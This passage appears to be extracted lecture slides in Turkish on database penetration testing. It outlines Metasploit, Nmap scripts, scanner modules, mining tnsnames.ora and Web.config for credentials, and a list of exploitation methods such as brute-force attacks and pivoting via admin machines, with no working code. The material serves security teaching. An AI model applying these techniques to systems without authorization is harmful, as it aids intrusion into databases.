Page 37: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Icindekiler

1 MetasploitGirisSomuru KategorileriMetasploitModullerMetasploit MeterpreterLab

2 KesifGirisOracle Data Unloader (DUL)Kesif Aracları

3 NmapNmap ScriptleriMs-sql-info.nse

oracle-sid-brute.nse4 VT icin Metasploit

GirisAuxiliary Scan ModulleriAuxiliary Scanner & AdminModullerimssql pingpostgres version

5 Kesif Icin DosyalarGiristnsnames.oraWeb.config

6 ExploitationGiris

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 38: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

kesif Icin Dosyalar

Ic Ag TestleriI Veritabanı IP adresleriI Instance isimleriI Port bilgileriI Kullanıcı adı ve parola bilgileri

DosyalarI Web.configI tnsnames.ora

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 39: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

tnsnames.ora

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 40: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Web.config

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 41: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Icindekiler

1 MetasploitGirisSomuru KategorileriMetasploitModullerMetasploit MeterpreterLab

2 KesifGirisOracle Data Unloader (DUL)Kesif Aracları

3 NmapNmap ScriptleriMs-sql-info.nse

oracle-sid-brute.nse4 VT icin Metasploit

GirisAuxiliary Scan ModulleriAuxiliary Scanner & AdminModullerimssql pingpostgres version

5 Kesif Icin DosyalarGiristnsnames.oraWeb.config

6 ExploitationGiris

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 42: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Exploitation

I Veritabanı sızma testlerinde 2. asama : ExploitationI Amac: kesif asamasında elde edilen bilgiler kullanılarak hedef sisteme

erisebilmek.

Kullanılan YontemlerI Veritabanı sistemlerinde bulunan zafiyetlerI Kaba kuvvet ve sozluk saldırılarıyla elde edilen kullanıcı adı ve parola bilgileriI Ic ag testlerinde elde edilen veritabanı baglantı bilgileriI Veritabanı sistemlerinde bulunan ve isletim sistemi uzerinde komut calıstırabilen modullerI Veritabanı yonetici bilgisayarları uzerinden veritabanı sistemlerine erismeI Veritabanı sisteminin kurulu oldugu sunucuya erisim saglayıp, sunucu uzerinden veritabanı sistemlerine

yetkili erisim saglama

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1